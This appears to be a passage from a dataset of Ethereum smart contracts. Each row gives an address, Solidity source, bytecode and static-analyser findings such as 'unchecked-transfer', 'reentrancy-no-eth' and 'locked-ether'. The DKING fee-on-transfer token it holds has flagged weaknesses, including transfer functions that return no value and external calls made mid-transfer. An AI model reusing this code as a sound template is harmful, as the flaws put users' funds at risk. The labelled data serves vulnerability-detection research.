69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a3600192505b5b5b50509392505050565b60045481565b60015433600160a060020a0390811691161461072357600080fd5b60055460009060a060020a900460ff161561073d57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b505b50565b60055433600160a060020a0390811691161461078757600080fd5b60055460a060020a900460ff161561079e57600080fd5b6107aa60005482610ac5565b6000908155600160a060020a0383168152600760205260409020546107cf9082610ac5565b600160a060020a0383166000818152600760205260408082209390935590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35b5b5b5050565b60055433600160a060020a0390811691161461084357600080fd5b6005805474ff0000000000000000000000000000000000000000191660a060020a1790555b5b565b600160a060020a0381166000908152600760205260409020545b919050565b600154600160a060020a031681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b505050505081565b60055460a060020a900460ff1681565b60006040604436101561095957600080fd5b60055460a060020a900460ff1615156109875760055433600160a060020a0390811691161461098757600080fd5b5b600160a060020a0333166000908152600760205260409020546109ab9084610aed565b600160a060020a0333811660009081526007602052604080822093909355908616815220546109da9084610ac5565b600160a060020a0380861660008181526007602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5b5b5092915050565b600160a060020a038083166000908152600660209081526040808320938516835292905220545b92915050565b60015433600160a060020a03908116911614610a8857600080fd5b600160a060020a03811615610769576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b6000828201610ae2848210801590610add5750838210155b610b06565b8091505b5092915050565b6000610afb83831115610b06565b508082035b92915050565b80151561076957600080fd5b5b505600a165627a7a723058202b729e5a0a38853899d23bd569b31a3a0f654a02ab6056fe94b1b3ad48c73f360029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,324 |
0xbdca7934cc107519be5d8531a35b758d9459bde5 | pragma solidity 0.5.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external;
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(address burner, uint256 _value) internal {
require(_value > 0);
require(_value <= balances[burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Transfer(burner, address(0), _value);
emit Burn(burner, _value);
}
}
contract DKING is BurnableToken, Ownable {
address public stakingAddress;
string public constant name = "Deflationary King";
string public constant symbol = "DKING";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000 * (10 ** uint256(decimals));
function setStakingAddress(address _addr) public onlyOwner {
stakingAddress = _addr;
}
function transfer(address to, uint amount) public returns (bool) {
uint _amountToBurn = amount.mul(400).div(10000);
uint _amountToDisburse = amount.mul(400).div(10000);
uint _amountAfterFee = amount.sub(_amountToBurn).sub(_amountToDisburse);
burn(msg.sender, _amountToBurn);
require(super.transfer(stakingAddress, _amountToDisburse), "Cannot disburse rewards.");
if (stakingAddress != address(0)) {
tokenRecipient(stakingAddress).receiveApproval(msg.sender, _amountToDisburse, "");
}
require(super.transfer(to, _amountAfterFee), "Cannot transfer tokens.");
}
function transferFrom(address from, address to, uint amount) public returns (bool) {
require(to != address(0) && to != address(this));
uint _amountToBurn = amount.mul(400).div(10000);
uint _amountToDisburse = amount.mul(400).div(10000);
uint _amountAfterFee = amount.sub(_amountToBurn).sub(_amountToDisburse);
uint256 _allowance = allowed[from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[from] = balances[from].sub(amount);
balances[to] = balances[to].add(_amountAfterFee);
balances[stakingAddress] = balances[stakingAddress].add(_amountToDisburse);
allowed[from][msg.sender] = _allowance.sub(amount);
burn(from, _amountToBurn);
emit Transfer(from, stakingAddress, _amountToDisburse);
emit Transfer(from, to, _amountAfterFee);
if (stakingAddress != address(0)) {
tokenRecipient(stakingAddress).receiveApproval(msg.sender, _amountToDisburse, "");
}
}
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(address(0), msg.sender, initialSupply);
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData)
external
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, _extraData);
return true;
}
}
function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner {
ERC20(_tokenAddress).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c806395d89b41116100a2578063d73dd62311610071578063d73dd623146105fe578063d7b4be2414610664578063dd62ed3e146106ae578063f2fde38b14610726578063f4e0d9ac1461076a57610116565b806395d89b41146103ec578063a9059cbb1461046f578063cae9ca51146104d5578063d493b9ac1461059057610116565b8063313ce567116100e9578063313ce567146102a8578063378dc3dc146102c657806366188463146102e457806370a082311461034a5780638da5cb5b146103a257610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b6101236107ae565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e7565b604051808215151515815260200191505060405180910390f35b61020c6108d9565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108df565b604051808215151515815260200191505060405180910390f35b6102b0610f19565b6040518082815260200191505060405180910390f35b6102ce610f1e565b6040518082815260200191505060405180910390f35b610330600480360360408110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2b565b604051808215151515815260200191505060405180910390f35b61038c6004803603602081101561036057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111bc565b6040518082815260200191505060405180910390f35b6103aa611205565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f461122b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610434578082015181840152602081019050610419565b50505050905090810190601f1680156104615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611264565b604051808215151515815260200191505060405180910390f35b610576600480360360608110156104eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561053257600080fd5b82018360208201111561054457600080fd5b8035906020019184600183028401116401000000008311171561056657600080fd5b9091929391929390505050611541565b604051808215151515815260200191505060405180910390f35b6105fc600480360360608110156105a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061163d565b005b61064a6004803603604081101561061457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061175f565b604051808215151515815260200191505060405180910390f35b61066c61195b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610710600480360360408110156106c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611981565b6040518082815260200191505060405180910390f35b6107686004803603602081101561073c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a08565b005b6107ac6004803603602081101561078057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b5c565b005b6040518060400160405280601181526020017f4465666c6174696f6e617279204b696e6700000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561094957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61095257600080fd5b600061097d61271061096f61019086611bfa90919063ffffffff16565b611c2990919063ffffffff16565b905060006109aa61271061099c61019087611bfa90919063ffffffff16565b611c2990919063ffffffff16565b905060006109d3826109c58588611c4290919063ffffffff16565b611c4290919063ffffffff16565b90506000600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610aa886600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3d82600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf48360016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b60016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c6c8682611c4290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cf68885611c75565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0e57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a2d5785333856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001806020018281038252600081526020016020019350505050600060405180830381600087803b158015610ef557600080fd5b505af1158015610f09573d6000803e3d6000fd5b505050505b505050509392505050565b601281565b6012600a0a620f42400281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561103c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d0565b61104f8382611c4290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f444b494e4700000000000000000000000000000000000000000000000000000081525081565b60008061129061271061128261019086611bfa90919063ffffffff16565b611c2990919063ffffffff16565b905060006112bd6127106112af61019087611bfa90919063ffffffff16565b611c2990919063ffffffff16565b905060006112e6826112d88588611c4290919063ffffffff16565b611c4290919063ffffffff16565b90506112f23384611c75565b61131e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611e36565b611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f7420646973627572736520726577617264732e000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114bc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a2d5785333846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001806020018281038252600081526020016020019350505050600060405180830381600087803b1580156114a357600080fd5b505af11580156114b7573d6000803e3d6000fd5b505050505b6114c68682611e36565b611538576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74207472616e7366657220746f6b656e732e00000000000000000081525060200191505060405180910390fd5b50505092915050565b60008085905061155186866107e7565b15611633578073ffffffffffffffffffffffffffffffffffffffff1663a2d57853338787876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561161157600080fd5b505af1158015611625573d6000803e3d6000fd5b505050506001915050611635565b505b949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461169757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561171e57600080fd5b505af1158015611732573d6000803e3d6000fd5b505050506040513d602081101561174857600080fd5b810190808051906020019092919050505050505050565b60006117f082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a6257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a9c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bb657600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840290506000841480611c19575082848281611c1657fe5b04145b611c1f57fe5b8091505092915050565b600080828481611c3557fe5b0490508091505092915050565b600082821115611c4e57fe5b818303905092915050565b600080828401905083811015611c6b57fe5b8091505092915050565b60008111611c8257600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611cce57600080fd5b611d2081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7881600054611c4290919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ea057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b611ea957600080fd5b611efb82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509291505056fea265627a7a723158208a64ac4a976474f7775decc51df374401c1c9f784e00fcd5dd173631d90713a864736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,325 |
0xb7c214425e649476a025fce4d3dda855016ca4c4 | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
